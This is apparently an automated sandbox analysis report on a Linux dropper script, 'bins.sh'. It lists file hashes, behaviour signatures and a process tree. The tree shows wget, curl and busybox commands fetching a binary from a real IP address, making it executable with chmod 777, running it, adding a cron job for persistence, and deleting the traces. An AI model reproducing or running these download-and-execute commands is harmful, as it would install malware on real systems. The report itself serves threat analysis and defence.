Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26/11/2024, 07:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e7ee143d7340118484b8308ebe57328e

  • SHA1

    e7dd9b270c283047255e9f58f9ef0fb153f900d3

  • SHA256

    94d5ebe092c6ecaa224eab27a6bfe01afda924c0719fd09b8a9174f3e017c821

  • SHA512

    58ab0c990171675599b112b48a8daa9933ea45b7dd4eb951058cea90ceb056ba30102af40be21e560749cc7e49dd14d67f2181832517b51e56b7464900181b79

  • SSDEEP

    96:S2ld5pKiccHpWYgdj332d5pKiqOHGNmH5WYgqCHT33qmeZ:S2I8pGjWU6

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1471
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1472
        • /usr/bin/wget
          wget http://216.126.231.240/bins/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Writes file to tmp directory
          PID:1473
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Writes file to tmp directory
          PID:1487
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Writes file to tmp directory
          PID:1496
        • /bin/chmod
          chmod 777 SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • File and Directory Permissions Modification
          PID:1497
        • /tmp/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          ./SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1498
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1500
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1501
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1502
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1503
              • /bin/rm
                rm SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
                2⤵
                  PID:1505
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
                  2⤵
                    PID:1508
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
                    2⤵
                      PID:1509

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6

                    Filesize

                    112KB

                    MD5

                    05d7857dcead18bbd86d2935f591873c

                    SHA1

                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                    SHA256

                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                    SHA512

                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                  • /var/spool/cron/crontabs/tmp.hojZDM

                    Filesize

                    210B

                    MD5

                    a4499dfd3a55ffe6d5e9191b324098e9

                    SHA1

                    ac84c6db99af865ff6681c9e4c4827c6dec052e3

                    SHA256

                    4c15a6592fa2690dc5158d2f32552212927da89932e0c8e6191999e9754e67a3

                    SHA512

                    6b63cfdbb2d85b77478d8cb41b9629408d67cc401f4e25e3befbda48b1a11e00293f354ada5e1da4c3fa8f13bb6c73ca1db348e2f3b566c76798ea71e43752cb